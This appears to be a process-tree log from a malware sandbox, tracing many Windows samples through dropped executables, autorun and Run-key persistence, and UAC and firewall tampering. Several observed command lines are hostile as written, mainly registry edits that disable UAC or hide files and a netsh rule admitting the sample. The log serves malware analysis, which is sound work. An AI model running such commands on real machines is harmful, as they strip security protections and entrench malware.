C:\Windows\SysWOW64\guajncc.exeC:\Windows\system32\guajncc.exe16⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\dkjmqb.exeC:\Windows\system32\dkjmqb.exe17⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-qbdxvsyamkeda623985a926abdb5f84a94f8dcb9d3_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qbdxvsyamkeda623985a926abdb5f84a94f8dcb9d3_JaffaCakes118.exe4⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd /c "Copy "C:\Users\Admin\Downloads\240920-qbdxvsyamkeda623985a926abdb5f84a94f8dcb9d3_JaffaCakes118.exe" %Windir%\system32\MsCM32.exe"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
-
C:\Users\Admin\Downloads\240920-qlm9aayenjfile.exeC:\Users\Admin\Downloads\240920-qlm9aayenjfile.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
- Modifies system certificate store
-
-
-
C:\Users\Admin\Downloads\240920-pz8xgaxard748abec6e830ce1f112c7f0c0d3c56c6e418e39423ac8c234a69f5afe1da9642N.exeC:\Users\Admin\Downloads\240920-pz8xgaxard748abec6e830ce1f112c7f0c0d3c56c6e418e39423ac8c234a69f5afe1da9642N.exe4⤵
- Modifies firewall policy service
- UAC bypass
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- System policy modification
-
C:\Windows\services.exe"C:\Windows\services.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
-
C:\Users\Admin\Downloads\240920-ptnz4swgnfBackdoor.Win32.Berbew.AA.MTB-0eee6dad188b5809a34976a1d88a54a8e44afeb52737c4caccea135cc3caf3d3NC:\Users\Admin\Downloads\240920-ptnz4swgnfBackdoor.Win32.Berbew.AA.MTB-0eee6dad188b5809a34976a1d88a54a8e44afeb52737c4caccea135cc3caf3d3N4⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Fmmmfj32.exeC:\Windows\system32\Fmmmfj32.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
-
C:\Windows\SysWOW64\Gifkpknp.exeC:\Windows\system32\Gifkpknp.exe6⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Glgcbf32.exeC:\Windows\system32\Glgcbf32.exe7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Gimqajgh.exeC:\Windows\system32\Gimqajgh.exe8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Hpiecd32.exeC:\Windows\system32\Hpiecd32.exe9⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Hfhgkmpj.exeC:\Windows\system32\Hfhgkmpj.exe10⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Iliinc32.exeC:\Windows\system32\Iliinc32.exe11⤵
-
C:\Windows\SysWOW64\Ibfnqmpf.exeC:\Windows\system32\Ibfnqmpf.exe12⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Iomoenej.exeC:\Windows\system32\Iomoenej.exe13⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Ickglm32.exeC:\Windows\system32\Ickglm32.exe14⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Jmbhoeid.exeC:\Windows\system32\Jmbhoeid.exe15⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Jofalmmp.exeC:\Windows\system32\Jofalmmp.exe16⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Jebfng32.exeC:\Windows\system32\Jebfng32.exe17⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Jlolpq32.exeC:\Windows\system32\Jlolpq32.exe18⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Klcekpdo.exeC:\Windows\system32\Klcekpdo.exe19⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Kgkfnh32.exeC:\Windows\system32\Kgkfnh32.exe20⤵
-
C:\Windows\SysWOW64\Lljklo32.exeC:\Windows\system32\Lljklo32.exe21⤵
-
C:\Windows\SysWOW64\Lnldla32.exeC:\Windows\system32\Lnldla32.exe22⤵
-
C:\Windows\SysWOW64\Lobjni32.exeC:\Windows\system32\Lobjni32.exe23⤵
-
C:\Windows\SysWOW64\Mcbpjg32.exeC:\Windows\system32\Mcbpjg32.exe24⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Mokmdh32.exeC:\Windows\system32\Mokmdh32.exe25⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Nmbjcljl.exeC:\Windows\system32\Nmbjcljl.exe26⤵
-
C:\Windows\SysWOW64\Phajna32.exeC:\Windows\system32\Phajna32.exe27⤵
-
C:\Windows\SysWOW64\Pdmdnadc.exeC:\Windows\system32\Pdmdnadc.exe28⤵
-
C:\Windows\SysWOW64\Aogbfi32.exeC:\Windows\system32\Aogbfi32.exe29⤵
-
C:\Windows\SysWOW64\Bpdnjple.exeC:\Windows\system32\Bpdnjple.exe30⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-p8sxlsxenbacfeb6c0b7ba5a352256acc7319c8d2aa817c3af3fcd68cc508b2977212e4d32N.exeC:\Users\Admin\Downloads\240920-p8sxlsxenbacfeb6c0b7ba5a352256acc7319c8d2aa817c3af3fcd68cc508b2977212e4d32N.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Gmfplibd.exeC:\Windows\system32\Gmfplibd.exe5⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Hfaajnfb.exeC:\Windows\system32\Hfaajnfb.exe6⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Hmmfmhll.exeC:\Windows\system32\Hmmfmhll.exe7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Hpqldc32.exeC:\Windows\system32\Hpqldc32.exe8⤵
-
C:\Windows\SysWOW64\Ifomll32.exeC:\Windows\system32\Ifomll32.exe9⤵
-
C:\Windows\SysWOW64\Imkbnf32.exeC:\Windows\system32\Imkbnf32.exe10⤵
-
C:\Windows\SysWOW64\Iplkpa32.exeC:\Windows\system32\Iplkpa32.exe11⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Jghpbk32.exeC:\Windows\system32\Jghpbk32.exe12⤵
-
C:\Windows\SysWOW64\Jmeede32.exeC:\Windows\system32\Jmeede32.exe13⤵
-
C:\Windows\SysWOW64\Johnamkm.exeC:\Windows\system32\Johnamkm.exe14⤵
-
C:\Windows\SysWOW64\Jedccfqg.exeC:\Windows\system32\Jedccfqg.exe15⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Kgflcifg.exeC:\Windows\system32\Kgflcifg.exe16⤵
-
C:\Windows\SysWOW64\Kpanan32.exeC:\Windows\system32\Kpanan32.exe17⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Kfpcoefj.exeC:\Windows\system32\Kfpcoefj.exe18⤵
-
C:\Windows\SysWOW64\Lgbloglj.exeC:\Windows\system32\Lgbloglj.exe19⤵
- Drops file in System32 directory
- Modifies registry class
-
C:\Windows\SysWOW64\Lckiihok.exeC:\Windows\system32\Lckiihok.exe20⤵
-
C:\Windows\SysWOW64\Mfnoqc32.exeC:\Windows\system32\Mfnoqc32.exe21⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Mgphpe32.exeC:\Windows\system32\Mgphpe32.exe22⤵
-
C:\Windows\SysWOW64\Mgeakekd.exeC:\Windows\system32\Mgeakekd.exe23⤵
-
C:\Windows\SysWOW64\Npbceggm.exeC:\Windows\system32\Npbceggm.exe24⤵
-
C:\Windows\SysWOW64\Phajna32.exeC:\Windows\system32\Phajna32.exe25⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Pfiddm32.exeC:\Windows\system32\Pfiddm32.exe26⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-p8e1raxema6e8222906d72ba0b57d40bd15cda5be06e19c5ec185e37d09528ad058b2fce49N.exeC:\Users\Admin\Downloads\240920-p8e1raxema6e8222906d72ba0b57d40bd15cda5be06e19c5ec185e37d09528ad058b2fce49N.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Hlpfhe32.exeC:\Windows\system32\Hlpfhe32.exe5⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Hbohpn32.exeC:\Windows\system32\Hbohpn32.exe6⤵
-
C:\Windows\SysWOW64\Iebngial.exeC:\Windows\system32\Iebngial.exe7⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Ilnbicff.exeC:\Windows\system32\Ilnbicff.exe8⤵
-
C:\Windows\SysWOW64\Ioolkncg.exeC:\Windows\system32\Ioolkncg.exe9⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Jiglnf32.exeC:\Windows\system32\Jiglnf32.exe10⤵
-
C:\Windows\SysWOW64\Jpcapp32.exeC:\Windows\system32\Jpcapp32.exe11⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Jgpfbjlo.exeC:\Windows\system32\Jgpfbjlo.exe12⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Jnlkedai.exeC:\Windows\system32\Jnlkedai.exe13⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Kjeiodek.exeC:\Windows\system32\Kjeiodek.exe14⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Kcpjnjii.exeC:\Windows\system32\Kcpjnjii.exe15⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Kjlopc32.exeC:\Windows\system32\Kjlopc32.exe16⤵
-
C:\Windows\SysWOW64\Lfeljd32.exeC:\Windows\system32\Lfeljd32.exe17⤵
- Drops file in System32 directory
- Modifies registry class
-
C:\Windows\SysWOW64\Lggejg32.exeC:\Windows\system32\Lggejg32.exe18⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Mjjkaabc.exeC:\Windows\system32\Mjjkaabc.exe19⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Mnjqmpgg.exeC:\Windows\system32\Mnjqmpgg.exe20⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Mjcngpjh.exeC:\Windows\system32\Mjcngpjh.exe21⤵
-
C:\Windows\SysWOW64\Ngjkfd32.exeC:\Windows\system32\Ngjkfd32.exe22⤵
-
C:\Windows\SysWOW64\Pdenmbkk.exeC:\Windows\system32\Pdenmbkk.exe23⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Phfcipoo.exeC:\Windows\system32\Phfcipoo.exe24⤵
- Drops file in System32 directory
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-qah57ayajke7717c828b13b71430d2936ef8b6da418b8c7a004e74d2e8f2dc0d1d7468932dN.exeC:\Users\Admin\Downloads\240920-qah57ayajke7717c828b13b71430d2936ef8b6da418b8c7a004e74d2e8f2dc0d1d7468932dN.exe4⤵
-
C:\Windows\SysWOW64\Iefgbh32.exeC:\Windows\system32\Iefgbh32.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Impliekg.exeC:\Windows\system32\Impliekg.exe6⤵
-
C:\Windows\SysWOW64\Jcoaglhk.exeC:\Windows\system32\Jcoaglhk.exe7⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Jngbjd32.exeC:\Windows\system32\Jngbjd32.exe8⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Jokkgl32.exeC:\Windows\system32\Jokkgl32.exe9⤵
-
C:\Windows\SysWOW64\Klahfp32.exeC:\Windows\system32\Klahfp32.exe10⤵
-
C:\Windows\SysWOW64\Kflide32.exeC:\Windows\system32\Kflide32.exe11⤵
-
C:\Windows\SysWOW64\Kpcjgnhb.exeC:\Windows\system32\Kpcjgnhb.exe12⤵
-
C:\Windows\SysWOW64\Llmhaold.exeC:\Windows\system32\Llmhaold.exe13⤵
-
C:\Windows\SysWOW64\Lfgipd32.exeC:\Windows\system32\Lfgipd32.exe14⤵
-
C:\Windows\SysWOW64\Mmfkhmdi.exeC:\Windows\system32\Mmfkhmdi.exe15⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Mqfpckhm.exeC:\Windows\system32\Mqfpckhm.exe16⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Mmpmnl32.exeC:\Windows\system32\Mmpmnl32.exe17⤵
-
C:\Windows\SysWOW64\Njfkmphe.exeC:\Windows\system32\Njfkmphe.exe18⤵
-
C:\Windows\SysWOW64\Phajna32.exeC:\Windows\system32\Phajna32.exe19⤵
-
C:\Windows\SysWOW64\Pmblagmf.exeC:\Windows\system32\Pmblagmf.exe20⤵
- Modifies registry class
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-qde8psybljfad84387b1d210642cee885ee1f929a95340600a5f99f6d4489a4c07f7722b73N.exeC:\Users\Admin\Downloads\240920-qde8psybljfad84387b1d210642cee885ee1f929a95340600a5f99f6d4489a4c07f7722b73N.exe4⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Jleijb32.exeC:\Windows\system32\Jleijb32.exe5⤵
-
C:\Windows\SysWOW64\Jgmjmjnb.exeC:\Windows\system32\Jgmjmjnb.exe6⤵
-
C:\Windows\SysWOW64\Jllokajf.exeC:\Windows\system32\Jllokajf.exe7⤵
-
C:\Windows\SysWOW64\Kcidmkpq.exeC:\Windows\system32\Kcidmkpq.exe8⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Koaagkcb.exeC:\Windows\system32\Koaagkcb.exe9⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Knenkbio.exeC:\Windows\system32\Knenkbio.exe10⤵
-
C:\Windows\SysWOW64\Lcdciiec.exeC:\Windows\system32\Lcdciiec.exe11⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Lcimdh32.exeC:\Windows\system32\Lcimdh32.exe12⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Lflbkcll.exeC:\Windows\system32\Lflbkcll.exe13⤵
-
C:\Windows\SysWOW64\Mjlhgaqp.exeC:\Windows\system32\Mjlhgaqp.exe14⤵
-
C:\Windows\SysWOW64\Mgbefe32.exeC:\Windows\system32\Mgbefe32.exe15⤵
-
C:\Windows\SysWOW64\Nclbpf32.exeC:\Windows\system32\Nclbpf32.exe16⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Phajna32.exeC:\Windows\system32\Phajna32.exe17⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Pjdpelnc.exeC:\Windows\system32\Pjdpelnc.exe18⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-qbf28axfmgc58396ee6fe28f6b6da46e965fead2154b8e51a6abb86ad73b68499a243cd048N.exeC:\Users\Admin\Downloads\240920-qbf28axfmgc58396ee6fe28f6b6da46e965fead2154b8e51a6abb86ad73b68499a243cd048N.exe4⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Jinboekc.exeC:\Windows\system32\Jinboekc.exe5⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Kpjgaoqm.exeC:\Windows\system32\Kpjgaoqm.exe6⤵
-
C:\Windows\SysWOW64\Kpoalo32.exeC:\Windows\system32\Kpoalo32.exe7⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Kfnfjehl.exeC:\Windows\system32\Kfnfjehl.exe8⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Loighj32.exeC:\Windows\system32\Loighj32.exe9⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Lqkqhm32.exeC:\Windows\system32\Lqkqhm32.exe10⤵
-
C:\Windows\SysWOW64\Lgibpf32.exeC:\Windows\system32\Lgibpf32.exe11⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Mgnlkfal.exeC:\Windows\system32\Mgnlkfal.exe12⤵
-
C:\Windows\SysWOW64\Mcgiefen.exeC:\Windows\system32\Mcgiefen.exe13⤵
-
C:\Windows\SysWOW64\Nqmfdj32.exeC:\Windows\system32\Nqmfdj32.exe14⤵
-
C:\Windows\SysWOW64\Phajna32.exeC:\Windows\system32\Phajna32.exe15⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Ppahmb32.exeC:\Windows\system32\Ppahmb32.exe16⤵
- Modifies registry class
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-qlf5zayblaedac99b8bf1d6b9965c0210decbf99fc_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qlf5zayblaedac99b8bf1d6b9965c0210decbf99fc_JaffaCakes118.exe4⤵
- Modifies visiblity of hidden/system files in Explorer
- Checks computer location settings
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\puazui.exe"C:\Users\Admin\puazui.exe"5⤵
- Modifies visiblity of hidden/system files in Explorer
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\Downloads\240920-qkx24ayargedac41ffb727204b9ecfc2c75f919c5b_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qkx24ayargedac41ffb727204b9ecfc2c75f919c5b_JaffaCakes118.exe4⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-qgjqasycqkdcdfe0e34f08bb17bdde6d169cb251eef1fd37b2a6425e120ae13c555da54df1N.exeC:\Users\Admin\Downloads\240920-qgjqasycqkdcdfe0e34f08bb17bdde6d169cb251eef1fd37b2a6425e120ae13c555da54df1N.exe4⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Ljeafb32.exeC:\Windows\system32\Ljeafb32.exe5⤵
-
C:\Windows\SysWOW64\Mmhgmmbf.exeC:\Windows\system32\Mmhgmmbf.exe6⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Mmmqhl32.exeC:\Windows\system32\Mmmqhl32.exe7⤵
- Drops file in System32 directory
- Modifies registry class
-
C:\Windows\SysWOW64\Nnojho32.exeC:\Windows\system32\Nnojho32.exe8⤵
-
C:\Windows\SysWOW64\Pmlfqh32.exeC:\Windows\system32\Pmlfqh32.exe9⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Palklf32.exeC:\Windows\system32\Palklf32.exe10⤵
-
C:\Windows\SysWOW64\Qmgelf32.exeC:\Windows\system32\Qmgelf32.exe11⤵
-
C:\Windows\SysWOW64\Bmeandma.exeC:\Windows\system32\Bmeandma.exe12⤵
- Modifies registry class
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes118.exe4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\YeAUkAQQ\eCIUkkwM.exe"C:\Users\Admin\YeAUkAQQ\eCIUkkwM.exe"5⤵
- Adds Run key to start application
-
-
C:\ProgramData\RkUUkEsg\wIEoUggg.exe"C:\ProgramData\RkUUkEsg\wIEoUggg.exe"5⤵
- Adds Run key to start application
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes118"5⤵
-
C:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes1186⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes118"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
C:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes1188⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes118"9⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵
-
-
C:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes11810⤵
-
-
-
C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 19⤵
- Modifies registry key
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵
-
-
-
C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 29⤵
- Modifies registry key
-
-
C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f9⤵
- Modifies registry key
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qMMcsEMc.bat" "C:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes118.exe""9⤵
-
-
-
-
C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 17⤵
- Modifies visibility of file extensions in Explorer
- Modifies registry key
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 27⤵
- Modifies registry key
-
-
C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f7⤵
- UAC bypass
- Modifies registry key
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\UskgcUEw.bat" "C:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes118.exe""7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
-
-
C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 15⤵
- Modifies visibility of file extensions in Explorer
- Modifies registry key
-
-
C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 25⤵
- Modifies registry key
-
-
C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f5⤵
- UAC bypass
- System Location Discovery: System Language Discovery
- Modifies registry key
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\xcwQwsgc.bat" "C:\Users\Admin\Downloads\240920-ps8ccswgmaed9a0cbe136fb6ab59971cb92d0be0c3_JaffaCakes118.exe""5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\SysWOW64\cscript.execscript C:\Users\Admin\AppData\Local\Temp/file.vbs6⤵
-
-
-
-
C:\Users\Admin\Downloads\240920-p5tpqsxfqnbc3e318799303a80de34d04f7f6aa10789b1f255e79f3e943689048eae0e094c.exeC:\Users\Admin\Downloads\240920-p5tpqsxfqnbc3e318799303a80de34d04f7f6aa10789b1f255e79f3e943689048eae0e094c.exe4⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\Downloads\240920-p5tpqsxfqnbc3e318799303a80de34d04f7f6aa10789b1f255e79f3e943689048eae0e094c.exe" "240920-p5tpqsxfqnbc3e318799303a80de34d04f7f6aa10789b1f255e79f3e943689048eae0e094c.exe" ENABLE5⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
-
C:\Users\Admin\Downloads\240920-p85leaxhlpda25d12bc62aacc92f6db8fcd2dcb32d82ef836334a695a3989e60a0172e6eb9N.exeC:\Users\Admin\Downloads\240920-p85leaxhlpda25d12bc62aacc92f6db8fcd2dcb32d82ef836334a695a3989e60a0172e6eb9N.exe4⤵
-
\??\c:\pjjdv.exec:\pjjdv.exe5⤵
-
\??\c:\3jpjd.exec:\3jpjd.exe6⤵
-
\??\c:\1flfllf.exec:\1flfllf.exe7⤵
-
\??\c:\fxlfxrl.exec:\fxlfxrl.exe8⤵
-
\??\c:\rllxrlf.exec:\rllxrlf.exe9⤵
- System Location Discovery: System Language Discovery
-
\??\c:\pjdvp.exec:\pjdvp.exe10⤵
-
\??\c:\vjvpp.exec:\vjvpp.exe11⤵
- System Location Discovery: System Language Discovery
-
\??\c:\nhhbtt.exec:\nhhbtt.exe12⤵
-
\??\c:\jppjj.exec:\jppjj.exe13⤵
-
\??\c:\bbnnhh.exec:\bbnnhh.exe14⤵
-
\??\c:\hbhbbh.exec:\hbhbbh.exe15⤵
-
\??\c:\fxfrrll.exec:\fxfrrll.exe16⤵
-
\??\c:\lxxlfxr.exec:\lxxlfxr.exe17⤵
-
\??\c:\7bthbt.exec:\7bthbt.exe18⤵
-
\??\c:\1ppjv.exec:\1ppjv.exe19⤵
- System Location Discovery: System Language Discovery
-
\??\c:\rflflll.exec:\rflflll.exe20⤵
-
\??\c:\pjdvj.exec:\pjdvj.exe21⤵
- System Location Discovery: System Language Discovery
-
\??\c:\1tbnbb.exec:\1tbnbb.exe22⤵
-
\??\c:\rrflrff.exec:\rrflrff.exe23⤵
-
\??\c:\nhhbbt.exec:\nhhbbt.exe24⤵
-
\??\c:\llxrrll.exec:\llxrrll.exe25⤵
- System Location Discovery: System Language Discovery
-
\??\c:\5lfxrlf.exec:\5lfxrlf.exe26⤵
-
\??\c:\btnhtb.exec:\btnhtb.exe27⤵
-
\??\c:\fllflfr.exec:\fllflfr.exe28⤵
-
\??\c:\9tbtbb.exec:\9tbtbb.exe29⤵
-
\??\c:\lxxxrrr.exec:\lxxxrrr.exe30⤵
-
\??\c:\7ttnnn.exec:\7ttnnn.exe31⤵
-
\??\c:\bttnhb.exec:\bttnhb.exe32⤵
-
\??\c:\nnhbnb.exec:\nnhbnb.exe33⤵
-
\??\c:\bhhbbb.exec:\bhhbbb.exe34⤵
-
\??\c:\rlrlrlr.exec:\rlrlrlr.exe35⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
